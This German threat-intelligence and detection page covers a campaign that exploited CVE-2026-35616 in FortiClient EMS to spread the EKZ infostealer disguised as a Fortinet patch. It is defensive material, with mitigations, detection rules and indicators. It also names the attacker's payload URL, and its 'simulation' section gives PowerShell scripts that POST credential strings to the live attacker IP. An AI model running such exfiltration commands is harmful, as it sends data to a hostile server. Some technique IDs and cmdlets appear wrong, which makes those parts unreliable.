FortiClient EMS über CVE-2026-35616 ausgenutzt, um EKZ Infostealer getarnt als Fortinet-Patch zu liefern
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Arctic Wolf hat eine Kampagne identifiziert, die ausgenutzt hat CVE-2026-35616 in FortiClient EMS, um ein bösartiges PowerShell-Skript auf verwaltete Endpunkte zu verteilen. Dieses Skript rief eine als legitimer Fortinet-Patch getarnte Nutzlast ab und startete sie zum Stehlen von Anmeldedaten, bekannt als EKZ Infostealer. Die Malware sammelte Passwörter, Cookies und Autovervollständigungsinformationen der Browser und exfiltrierte die gestohlenen Daten über HTTP. Indem die Angreifer die vertrauenswürdigen EMS-Konfigurationskanäle ausnutzten, konnten sie die Nutzlast schnell auf mehreren verwalteten Geräten ausführen.
Untersuchung
Forscher rekonstruierten den Exploit, indem sie speziell präparierte, nicht authentifizierte HTTP-Anfragen an die FortiClient EMS-APIs sendeten, was zu Konfigurationsänderungen führte, die bösartige Skripte einfügten. Ausführungsspuren zeigten fortitray.exe or ipsec.exe , die cmd.exestarteten, was wiederum einen Base64-codierten PowerShell-Befehl ausführte, der p.exe von einer bösartigen IP-Adresse herunterlud. Die Nutzlast schrieb eine log.txt Datei nach ProgramData, sendete die erfassten Daten zurück an denselben Server und löschte sich dann selbst.
Minderung
Organisationen sollten FortiClient EMS auf eine Version aktualisieren, die CVE-2026-35616 behebt und den API-Zugriff auf genehmigte Quell-IP-Adressen beschränken. Verteidiger sollten auch EMS-Protokolle auf zertifikatsbezogene Fehler und unerwartete Änderungen in Remote Access Profiles überprüfen. Ausgehender HTTP-Verkehr von Endpunkten zu unbekannten IP-Adressen sollte blockiert werden, und die Skriptausführung innerhalb von VPN-Profil-Workflows sollte durch minimale Rechtekontrollen eingeschränkt werden.
Reaktion
Wird diese Aktivität festgestellt, sollten betroffene Hosts sofort isoliert, unautorisierte EMS-Konten, die möglicherweise erstellt wurden, widerrufen und bösartige Skriptdateien aus dem FortiClient-Protokollverzeichnis entfernt werden. Ermittler sollten das log.txt Artefakt bewahren, Hashes für die bösartigen Binärdateien berechnen und nach übereinstimmenden Indikatoren in der Umgebung suchen. Ausgesetzte Browser-Anmeldedaten sollten zurückgesetzt und Teams sollten auf verdächtige Authentifizierungsaktivitäten achten, die dem Diebstahl folgen könnten.
graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef file fill:#ccffcc classDef technique fill:#ddeeff %% Knoten action_initial_access[„<b>Aktion</b> – <b>T1190 Ausnutzung einer öffentlich erreichbaren Anwendung</b><br/>CVE-2026-35616 in der FortiClient EMS API“] class action_initial_access action process_api_requests[„<b>Prozess</b> – Nicht authentifizierte API-Anfragen werden als privilegierte Administratoraktionen verarbeitet“] class process_api_requests process action_cmd_launch[„<b>Aktion</b> – <b>T1059.003 Windows-Befehlszeile</b><br/>fortitray.exe und ipsec.exe starten cmd.exe“] class action_cmd_launch action action_powershell[„<b>Aktion</b> – <b>T1059.001 PowerShell</b><br/>Ausführung eines Base64-kodierten PowerShell-Skripts“] class action_powershell action technique_obfuscation[„<b>Technik</b> – <b>T1027 Verschleierte Dateien oder Informationen</b><br/>Die Payload wird als Base64 bereitgestellt“] class technique_obfuscation technique technique_decode[„<b>Technik</b> – <b>T1140 Dateien oder Informationen entschleiern/dekodieren</b><br/>Laufzeit-Base64-Dekodierung“] class technique_decode technique action_download[„<b>Aktion</b> – <b>T1570 Lateraler Werkzeugtransfer</b><br/>Download von FortiEndpoint_Patch.exe (p.exe)“] class action_download action file_payload[„<b>Datei</b> – FortiEndpoint_Patch.exe (p.exe)<br/>Gehostet unter http://83.138.53.110/dl/p.exe“] class file_payload file action_execute[„<b>Aktion</b> – <b>T1203 Ausnutzung zur Client-Ausführung</b><br/>Stille Ausführung der heruntergeladenen Binärdatei“] class action_execute action malware_infostealer[„<b>Malware</b> – EKZ Infostealer<br/>Sammelt Anmeldedaten, Cookies und AutoFill-Daten“] class malware_infostealer malware technique_cred_access[„<b>Technik</b> – <b>T1555.003 Anmeldedaten aus Webbrowsern</b>“] class technique_cred_access technique file_log[„<b>Datei</b> – C:\\ProgramData\\log.txt<br/>Speicherort für gesammelte Daten“] class file_log file action_exfil[„<b>Aktion</b> – <b>T1567 Exfiltration über Webdienst</b><br/>HTTP-POST an den Server des Angreifers“] class action_exfil action action_cleanup[„<b>Aktion</b> – <b>T1564 Artefakte verbergen</b><br/>Löschen schädlicher Dateien und Protokolle“] class action_cleanup action %% Verbindungen action_initial_access –>|führt_zu| process_api_requests process_api_requests –>|löst_aus| action_cmd_launch action_cmd_launch –>|führt_aus| action_powershell action_powershell –>|verwendet| technique_obfuscation technique_obfuscation –>|erfordert| technique_decode action_powershell –>|lädt_herunter| action_download action_download –>|ruft_ab| file_payload file_payload –>|ausgeführt_von| action_execute action_execute –>|startet| malware_infostealer malware_infostealer –>|führt_aus| technique_cred_access malware_infostealer –>|schreibt_in| file_log file_log –>|gesendet_durch| action_exfil action_exfil –>|gefolgt_von| action_cleanup action_cleanup –>|löscht| file_payload action_cleanup –>|löscht| file_log
Angriffsfluss
Erkennungen
Kurzer Dateiname (via cmdline)
Ansehen
Verdächtige CURL-Nutzung (via cmdline)
Ansehen
Verdächtige .NET-Methodenaufrufe von Powershell (via powershell)
Ansehen
Mögliche Bits Transfer-Aktivität (via powershell)
Ansehen
IOC’s (HashSha256) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
IOC’s (HashSha1) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
IOC’s (HashMd5) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
IOC’s (SourceIP) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
IOC’s (DestinationIP) zur Erkennung: FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer als Fortinet Patch getarnt zu liefern
Ansehen
EKZ Infostealer Anmeldedaten-Exfiltration via HTTP POST [Windows Netzwerkverbindung]
Ansehen
FortiClient EMS mittels CVE-2026-35616 ausgenutzt, um EKZ Infostealer zu liefern [Windows Prozess-Erstellung]
Ansehen
PowerShell-Ausführung über FortiClient zur Lieferung von EKZ Infostealer [Windows Powershell]
Ansehen
Simulation der Ausführung
Voraussetzung: Die Telemetrie- & Basislinien-Vorfluganalyse muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechniken (TTP), die zur Auslösung der Erkennungsregel führen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die von der Erkennung erwartete exakte Telemetrie zu generieren. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffsnarrativ & Befehle:
Der Angreifer hat zuvor Anmeldedaten aus der Windows-Registry (Familie T1216) mit EKZ Infostealer gewonnen. Um den gesammelten Blob zu exfiltrieren, startet die Malware eine PowerShell-Einzeiler, die die Base64-codierten Anmeldedaten zu ihrem Command-and-Control-Server bei83.138.53.110postet. Die Verwendung von PowerShell (Invoke-WebRequest) ist eine klassische Technik des „Living off the Land“, die binäre-basierte Erkennungen umgeht, während sie dennoch Netzwerktelemetrie erzeugt, die von der Firewall beobachtet werden kann.powershell # Simulierte Anmeldedaten-Nutzlast (Base64 von "user:pass") $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!")) $uri = "http://83.138.53.110/collect" Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded" -
Regressionstest-Skript: Dieses eigenständige PowerShell-Skript reproduziert den Exfiltration-Schritt und kann für zukünftige Regressionen erneut ausgeführt werden.
powershell <# .SYNOPSIS EKZ Infostealer Anmeldedaten-Exfiltrationssimulation (HTTP POST). .DESCRIPTION Erzeugt einen gefälschten Anmeldedaten-Blob, kodiert diesen und postet ihn an die bekannte bösartige IP, die in der Erkennungsregel verwendet wird. .NOTES Erfordert zulässigen ausgehenden HTTP-Verkehr zu 83.138.53.110 auf Port 80. #> # ---- Vorbereitung ---- $creds = "admin_user:SuperSecret!" $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds)) $target = "http://83.138.53.110/collect" # ---- Ausführung ---- try { Write-Host "[*] Sende Anmeldedaten-Blob an $target ..." $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing Write-Host "[+] HTTP-Status:" $resp.StatusCode } catch { Write-Error "[-] POST fehlgeschlagen: $_" } # ---- Ende des Skripts ---- -
Bereinigungsbefehle: Es werden keine dauerhaften Artefakte auf der Festplatte erstellt, aber um gründlich zu sein, schließen wir alle verbleibenden Webanfrage-Sitzungen und löschen die PowerShell-Variable.
powershell # Variablen bereinigen und alle offenen Web-Sitzungen schließen Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) { Remove-WebRequestSession -All } Write-Host "[*] Bereinigung abgeschlossen."